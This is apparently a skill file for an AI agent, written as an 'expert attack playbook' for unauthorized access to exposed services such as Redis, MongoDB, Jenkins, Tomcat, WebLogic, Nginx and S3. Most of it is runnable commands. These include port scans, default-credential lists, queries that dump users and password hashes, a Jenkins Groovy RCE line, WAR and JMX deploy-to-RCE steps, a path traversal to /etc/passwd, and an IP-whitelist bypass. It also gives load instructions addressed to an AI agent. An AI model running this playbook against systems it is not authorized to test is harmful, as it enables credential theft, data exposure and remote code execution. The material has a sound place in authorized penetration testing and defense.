unauthorized-access-common-services

name	unauthorized-access-common-services
description	Common exposed service and unauthorized access triage covering admin panels, databases, caches, message queues, cloud consoles, dev tools, reverse proxy mistakes, Nginx off-by-slash, X-Forwarded-For trust, Java middleware exposure, and cloud storage misconfigurations.

SKILL: Unauthorized Access — Common Services — Expert Attack Playbook

AI LOAD INSTRUCTION: Exposed service triage covers databases (Redis, MongoDB, MySQL, PostgreSQL, Elasticsearch), caches (Memcached), message queues (RabbitMQ, Kafka), admin panels (Jenkins, Grafana, Kibana, phpMyAdmin, Tomcat Manager), Java middleware (WebLogic, JBoss), reverse proxy mistakes (Nginx off-by-slash, X-Forwarded-For), and cloud storage (S3, GCS, Azure Blob). All testing must be authorized and prefer read-only proof of access.

QUICK START

Core Rule

Use only in authorized testing. Prefer read-only proof of access (read config, enumerate users). Do not modify data, delete records, or execute destructive commands.

First-pass service discovery

# Quick port scan for common services:
nmap -sV -p 22,80,443,1433,1521,2181,2375,3000,3306,4443,5000,5432,5601,6379,6443,8080,8443,8888,9000,9090,9200,9300,11211,15672,27017,50070 TARGET

High-value service checklist

Service	Port(s)	What to Check
Redis	6379	Unauth access, CONFIG GET, INFO
MongoDB	27017	Unauth access, show dbs
Elasticsearch	9200	/_cat/indices, /_search
MySQL	3306	Default/root creds, empty password
PostgreSQL	5432	Default/postgres creds
Jenkins	8080, 8443	Unauth /script, /configure
Grafana	3000	Default admin:admin
Kibana	5601	Unauth dashboard access
phpMyAdmin	80, 443	Default root, no password
Tomcat Manager	8080	Default tomcat:tomcat
WebLogic	7001	Default weblogic:weblogic
RabbitMQ	15672	Default guest:guest
Memcached	11211	stats, get commands

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1. DATABASE SERVICES

Redis (6379)

# Connect:
redis-cli -h TARGET

# Unauth check:
INFO
CONFIG GET *
SELECT 1
KEYS *

# Data extraction:
GET secret_key
LRANGE session_list 0 -1
HGETALL users

MongoDB (27017)

# Connect:
mongo --host TARGET

# Unauth check:
show dbs
use admin
db.users.find()
db.system.users.find()

Elasticsearch (9200)

# Unauth check:
curl http://TARGET:9200/_cat/indices
curl http://TARGET:9200/_search?pretty
curl http://TARGET:9200/_cluster/health

# Data extraction:
curl http://TARGET:9200/INDEX_NAME/_search?size=100
curl http://TARGET:9200/_all/_search?q=password

MySQL (3306)

# Default credential check:
mysql -h TARGET -u root -p ''
mysql -h TARGET -u root -p 'root'
mysql -h TARGET -u root -p 'mysql'

# If connected:
SHOW DATABASES;
SELECT user, host FROM mysql.user;

PostgreSQL (5432)

# Default credential check:
psql -h TARGET -U postgres -W
# Try: postgres, password, empty

# If connected:
\l
SELECT usename, passwd FROM pg_shadow;

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2. CACHE AND MESSAGE QUEUE SERVICES

Memcached (11211)

# Connect:
nc TARGET 11211

# Commands:
stats
stats items
stats cachedump 1 100
get key_name

RabbitMQ (15672)

# Default: guest:guest
curl -u guest:guest http://TARGET:15672/api/overview
curl -u guest:guest http://TARGET:15672/api/queues
curl -u guest:guest http://TARGET:15672/api/users

Apache Kafka (9092)

# List topics:
kafka-topics.sh --list --bootstrap-server TARGET:9092

# Consume messages:
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic sensitive-data --from-beginning

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3. ADMIN PANELS AND DEV TOOLS

Jenkins (8080)

# Check unauth access:
curl http://TARGET:8080/script
curl http://TARGET:8080/configure
curl http://TARGET:8080/credentials/store

# Groovy console RCE (if accessible):
println "id".execute().text

Default creds: admin:admin, admin:password, jenkins:jenkins

Grafana (3000)

# Default: admin:admin (may prompt password change)
curl http://TARGET:3000/api/admin/settings
curl http://TARGET:3000/api/datasources
# Datasources may contain database credentials

Kibana (5601)

# Check unauth access:
curl http://TARGET:5601/api/status
curl http://TARGET:5601/app/kibana
# May expose Elasticsearch indices and data

phpMyAdmin

# Check common paths:
/phpmyadmin/
/pma/
/dbadmin/
/mysql/

# Default: root with no password

Tomcat Manager (8080)

# Default creds: tomcat:tomcat, admin:admin
# Manager app:
curl http://TARGET:8080/manager/html
# If accessible → deploy WAR → RCE

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4. JAVA MIDDLEWARE

WebLogic (7001)

# Default: weblogic:weblogic, weblogic:welcome1
# Check console:
curl http://TARGET:7001/console

# T3 protocol:
nmap -sV -p 7001 TARGET

# Known CVE paths:
/wls-wsat/CoordinatorPortType
/uddiexplorer/

JBoss (8080, 9990)

# Default: admin:admin
# JMX console:
curl http://TARGET:8080/jmx-console/
# If accessible → deploy via JMX → RCE

WebSphere (9043)

# Default: admin:admin (ibm-webas)
curl https://TARGET:9043/ibm/console

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5. REVERSE PROXY MISTAKES

Nginx Off-by-Slash

# Misconfigured alias:
location /static {
    alias /var/www/app/static/;
}
# Exploit: /static../etc/passwd → /var/www/app/static/../etc/passwd = /var/www/app/etc/passwd
# Try: /static../.env, /static../config.php

X-Forwarded-For Trust

# If application trusts X-Forwarded-For for IP-based access control:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels

Caddy Template Exposure

# Check for Caddy template rendering:
{{ .Env }}
{{ .Config }}
# May expose environment variables and configuration

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6. CLOUD SERVICE EXPOSURE

AWS S3

# Check public access:
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/sensitive-file . --no-sign-request

GCP Cloud Storage

gsutil ls gs://bucket-name/
gsutil cp gs://bucket-name/sensitive-file .

Azure Blob Storage

az storage blob list --container-name container --account-name account

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DECISION TREE

Port scan reveals exposed services?
├── Database exposed?
│   ├── Redis → try unauth INFO/KEYS
│   ├── MongoDB → try unauth show dbs
│   ├── MySQL/PostgreSQL → default creds
│   └── Elasticsearch → unauth _search
│
├── Admin panel?
│   ├── Jenkins → /script console, default creds
│   ├── Grafana → admin:admin, datasources leak
│   ├── phpMyAdmin → root with no password
│   └── Tomcat → /manager/html, WAR deploy
│
├── Java middleware?
│   ├── WebLogic → T3, console, CVE paths
│   ├── JBoss → JMX console
│   └── WebSphere → admin console
│
├── Proxy misconfiguration?
│   ├── Nginx off-by-slash → path traversal via alias
│   ├── X-Forwarded-For → IP whitelist bypass
│   └── Caddy → template injection
│
└── Cloud storage?
    ├── S3 → public bucket access
    ├── GCS → public object access
    └── Azure Blob → public container access

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TESTING CHECKLIST

• Port scan for common service ports
• Check databases for unauth access (Redis, MongoDB, ES, MySQL, PostgreSQL)
• Check admin panels for default credentials (Jenkins, Grafana, Tomcat, phpMyAdmin)
• Check Java middleware exposure (WebLogic, JBoss, WebSphere)
• Test Nginx off-by-slash path traversal
• Test X-Forwarded-For IP whitelist bypass
• Check cloud storage for public access (S3, GCS, Azure Blob)
• Document all findings with read-only proof

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MCP TOOLS

Tool	Use Case
nmap_scan	Port scanning and service detection
nmap_advanced_scan	Version detection and script scanning
rustscan_fast_scan	Ultra-fast port discovery
httpx_probe	Fast HTTP probing of discovered services
browser_agent_inspect	Inspect admin panels in browser
http_framework_test	Send crafted requests to services
nuclei_scan	Automated vulnerability scanning

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RELATED ROUTING

• SSRF — when internal services are reachable via SSRF
• Insecure Source Code Management — when VCS/exposure found
• Deserialization — when Java middleware uses deserialization
• Burp MCP Vuln Check — for detailed HTTP-based verification